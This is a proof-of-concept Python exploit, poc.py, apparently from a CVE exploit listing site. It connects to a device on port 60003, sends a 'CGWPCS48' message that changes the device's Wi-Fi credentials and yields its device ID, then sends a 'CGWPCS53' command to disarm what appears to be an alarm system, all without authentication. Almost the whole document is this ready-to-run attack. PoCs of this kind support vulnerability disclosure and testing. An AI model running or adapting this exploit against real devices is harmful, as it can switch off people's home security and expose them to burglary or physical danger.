4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / poc.py PY
#!/usr/bin/env python3

from argparse import ArgumentParser
import socket
import time


def pad(nb, n):
    return str(nb).zfill(n)


def set_wifi(s, ssid, pswd):
    payload = "%s%s%s%s%s%s%s%s" % (
        "CGWPCS48",                     # Protocol
        pad(len(ssid), 2),              # SSID len
        ssid,                           # SSID
        "3",                            # ???
        str(len(pswd)),                 # Password len
        pswd,                           # Password
        time.strftime("%Y%m%d%H%M%S"),  # Time
        "\r\n"
    )

    payload = payload.encode("utf-8")

    print(f"set_wifi: sending:\t{payload}")
    s.sendall(payload)
    reply = s.recv(1024)
    print(f"set_wifi: receiving:\t{reply}")
    device_id = reply[12:22]
    print(f"set_wifi: device_id:\t{device_id}")
    return device_id


def disarm(s, device_id):
    payload = "%s%s%s%s" % (
        "CGWPCS53",          # Protocol
        "0000",              # ???
        device_id.decode(),  # Device ID
        "0"                  # Mode: 0/1/2 ; Disarm/Arm/home
    )
    payload = payload.encode("utf-8")

    print(f"disarm: sending:\t{payload}")
    s.sendall(payload)
    reply = s.recv(1024)
    print(f"disarm: receiving:\t{reply}")


def main(args):
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        s.connect((args.ip, args.port))
        device_id = set_wifi(s, args.wifi_ssid, args.wifi_password)
        disarm(s, device_id)


if __name__ == '__main__':
    ap = ArgumentParser()
    ap.add_argument("ip")
    ap.add_argument("-p", "--port", type=int, default=60003)
    ap.add_argument("wifi_ssid")
    ap.add_argument("wifi_password")

    args = ap.parse_args()
    main(args)